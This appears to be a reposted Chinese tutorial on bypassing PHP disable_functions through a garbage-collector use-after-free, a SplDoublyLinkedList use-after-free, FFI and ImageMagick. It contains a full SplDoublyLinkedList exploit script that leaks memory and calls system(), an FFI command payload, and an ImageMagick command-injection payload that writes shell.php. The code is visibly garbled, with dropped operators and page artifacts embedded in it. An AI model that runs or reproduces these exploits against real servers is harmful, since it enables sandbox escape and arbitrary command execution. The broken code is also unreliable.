提权之disable_functions(三)

提权之disable_functions(三)

首页游戏大全万赢娱乐wy831更新时间:2024-04-16
前言

这篇文章承接前面的(一)(二)继续来研究绕过disable_Function的一些手法,其中包含了GC UAF、 UAC、FFI等利用方式。

bypass GC UAF

利用条件

Liux系统

PHP全版本

7.0 - all versions to date

7.1 - all versions to date

7.2 - all versions to date

7.3 - all versions to date

原理

此漏洞利用PHP垃圾收集器存在三年的⼀个bug,通过PHP垃圾收集器堆溢出来绕过disable_functions并执行系统命令Bypass Disable Funtions 13。

利用方法

可以看到能够利用。

bypass SplDoublyLinkedList UAC

使用条件

PHP v7.4.10及其之前版本

PHP v8.0(Alpha)

原理

2020年9月20号有人在bugs.php.net上发布了⼀个新的UAF BUG,报告人已经写出了Bypass disabled functions的利用脚本并且私发给了官方,不过官方似乎还没有修复,原因不明。PHP的SplDoublyLinkedList双向链表库中存在⼀个用后释放漏洞,该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并执行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限制,例如disable_functions和safe_mode等等。

利用方法

<?php error_reporting(0); $a = str_repeat("T", 120 * 1024 * 1024); function i2s(&$a, $p, $i, $x = 8) { for($j = 0;$j < $x;$j ) { $a[$p $j] = chr($i & 0xff); $i >>= 8; } } function s2i($s) { $result = 0; for ($x = 0;$x < strlen($s);$x ) { $result <<= 8; $result |= ord($s[$x]); } return $result; } function leak(&$a, $address) { Bypass Disable Funtions 18 global $s; i2s($a, 0x00, $address - 0x10); return strlen($s -> current()); } function getPHPChunk($maps) { $pattern = '/([0-9a-f] \-[0-9a-f] ) rw\-p 00000000 00:00 0 /'; preg_match_all($pattern, $maps, $match); foreach ($match[1] as $value) { list($start, $end) = explode("-", $value); if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) { $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length); echo "[ ]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n"; return $address; } } } function bomb1(&$a) { if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) { return (s2i($_GET["test1"]) & 0x7ffff0000000); }else { die("[!]Where is here"); } } function bomb2(&$a) { $start = s2i($_GET["test2"]); return getElement($a, array($start, $start 0x200000, 0x200000)); die("[!]Not Found"); } function getElement(&$a, $address) { for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x ) { $addr = 0x108 $address[0] 0x1000 * $x 0x1000; for ($y = 0;$y < 5;$y ) { if (leak($a, $addr $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){ echo "[ ]SplDoublyLinkedList Element: " . dechex($addr $y * 0x08 - 0x18) . "\n"; return $addr $y * 0x08 - 0x18; } } } } function getClosureChunk(&$a, $address) { do { $address = leak($a, $address); }while(leak($a, $address) !== 0x00); echo "[ ]Closure Chunk: " . dechex($address) . "\n"; return $address; } function getSystem(&$a, $address) { $start = $address & 0xffffffffffff0000; $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000; for($i = 0; $i < 0x1000 * 0x80; $i ) { $addr = $start - $i * 0x20; if ($addr < $lowestAddr) { break; } $nameAddr = leak($a, $addr); if ($nameAddr > $address || $nameAddr < $lowestAddr) { continue; } $name = dechex(leak($a, $nameAddr)); $name = str_pad($name, 16, "0", STR_PAD_LEFT); $name = strrev(hex2bin($name)); $name = explode("\x00", $name)[0]; if($name === "system") { return leak($a, $addr 0x08); } } } class Trigger { function __destruct() { global $s; unset($s[0]); $a = str_shuffle(str_repeat("T", 0xf)); i2s($a, 0x00, 0x1234567812345678); i2s($a, 0x08, 0x04, 7); Bypass Disable Funtions 19 $s -> current(); $s -> next(); if ($s -> current() !== 0x1234567812345678) { die("[!]UAF Failed"); } $maps = file_get_contents("/proc/self/maps"); if (!$maps) { cantRead($a); }else { canRead($maps, $a); } echo "[ ]Done"; } } function bypass($elementAddress, &$a) { global $s; if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) { die("[!]Get Closure Chunk Address Failed"); } $closure_object = leak($a, $closureChunkAddress 0x18); echo "[ ]Closure Object: " . dechex($closure_object) . "\n"; $closure_handlers = leak($a, $closure_object 0x18); echo "[ ]Closure Handler: " . dechex($closure_handlers) . "\n"; if(!($system_address = getSystem($a, $closure_handlers))) { die("[!]Couldn't determine system address"); } echo "[ ]Find system's handler: " . dechex($system_address) . "\n"; i2s($a, 0x08, 0x506, 7); for ($i = 0;$i < (0x130 / 0x08);$i ) { $data = leak($a, $closure_object 0x08 * $i); i2s($a, 0x00, $closure_object 0x30); i2s($s -> current(), 0x08 * $i 0x100, $data); } i2s($a, 0x00, $closure_object 0x30); i2s($s -> current(), 0x20, $system_address); i2s($a, 0x00, $closure_object); i2s($a, 0x08, 0x108, 7); echo "[ ]Executing command: \n"; ($s -> current())("whoami"); } function canRead($maps, &$a) { global $s; if (!$chunkAddress = getPHPChunk($maps)) { die("[!]Get PHP Chunk Address Failed"); } i2s($a, 0x08, 0x06, 7); if (!$elementAddress = getElement($a, $chunkAddress)) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a); } function cantRead(&$a) { global $s; i2s($a, 0x08, 0x06, 7); if (!isset($_GET["test1"]) && !isset($_GET["test2"])) { die("[!]Please try to get address of PHP Chunk"); } if (isset($_GET["test1"])) { die(dechex(bomb1($a))); } if (isset($_GET["test2"])) { $elementAddress = bomb2($a); } if (!$elementAddress) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a); } $s = new SplDoublyLinkedList(); $s -> push(new Trigger()); $s -> push("Twings"); $s -> push(function($x){}); for ($x = 0;$x < 0x100;$x ) { $s -> push(0x1234567812345678); } $s -> rewind(); unset($s[0]);bypass FFI

使用条件

inux操作系统 \php>=7.4

开启了FFI扩展且ffi.enable=true

原理

PHP 7.4 的 FFI(Foreign Function Interface,即外部函数接口,允许从用户在PHP代码中去调用C代码。FFI的使用非常简单,只用声明和调用两步就可以。 首先我们使用 FFI::cdef() 函数在PHP中声明⼀个我们要调用的这个C库中的函数以及使用到的数据类型,类似如下:

$ffi = FFI::cdef("int system(char* command);"); # 声明C语言中的system函数。

这将返回⼀个新创建的FFI对象,然后使⽤以下⽅法即可调用这个对象中所声明的函数:

$ffi ->system("ls / > /tmp/res.txt"); # 执行ls /命令并将结果写入/tmp/res.txt。

由于system函数执行命令无回显,所以需要将执行结果写入到tmp等有权限的目录中,最后再使用 echo file_get_contents("/tmp/res.txt"); 查看执行结果即可。

可见,当PHP所有的命令执行函数被禁用后,通过PHP7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数或其他能实现我们需求的函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions。

利用方法

利用FFI绕过 disable_func 构造payload:

ant=$ffi = FFI::cdef("int system(const char *command);");$ffi->system("whoami> /tmp/res.txt");echo file_get_contents("/tmp/res.txt");

成功执行:

bypass imagemagick

使用条件

目标主机安装了漏洞版本的ImageMagick(<=3.3.0)

安装了php-imagick扩展

编写php通过了new Imagick对象的方式来处理图片等格式文件

php >= 5.4

原理

magemagick是⼀个用于处理图片的程序,它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。利用ImageMagick绕过disable_functions的方法利用的是ImageMagick的⼀个漏洞(CVE-2016-3714)。漏洞的利用过程非常简单, 只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招。所以如果在phpinfo中看到有这个ImageMagick,可以尝试一下。

利用方法

查看phpinfo.php 开启ImageMagick扩展:

push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|echo \'\' > shell.php")' pop graphic-context

poc.php

<?php function readImageBlob() { $base64 = "iVBORw0KGgoAAAANSUhEUgAAAM0AAAD NCAMAAAAsYgRbAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5c cllPAAAABJQTFRF3NSmzMewPxIG//ncJEJsldTou1jHgAAAARBJREFUeNrs2EEK gCAQBVDLuv V20dENbMY831wKz4Y/VHb/5RGQ0NDQ0NDQ0NDQ0NDQ0NDQ 0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0PzMWtyaGhoaGhoaGhoaGhoaGhoxtb0QGho aGhoaGhoaGhoaGhoaMbRLEvv50VTQ9OTQ5OpyZ01GpM2g0bfmDQaL7S ofFC6x v3ZpxJiywakzbvd9r3RWPS9I2 MWk0 kbf0Hih9Y17U0nTHibrDDQ0NDQ0NDQ0 NDQ0NDQ0NTXbRSL/AK72o6GhoaGhoRlL8951vwsNDQ0NDQ1NDc0WyHtDTEhD Q0NDQ0NTS5MdGhoaGhoaGhoaGhoaGhoaGhoaGhoaGposzSHAAErMwwQ2HwRQ AAAAAElFTkSuQmCC"; if(isset($_POST['img'])){ $base64 = $_POST['img']; } $imageBlob = base64_decode($base64); $imagick = new Imagick(); $imagick->readImageBlob($imageBlob); header("Content-Type: image/png"); echo $imageBlob; } Bypass Disable Funtions 23 readImageBlob(); ?>%

小结

这几种方式在实战中经常用到,当然也能够自己搭建环境复现进行学习,其中不乏一些很巧妙的点,也可以拓宽我们的思维。

查看全文
大家还看了
也许喜欢
更多游戏

Copyright © 2024 妖气游戏网 www.17u1u.com All Rights Reserved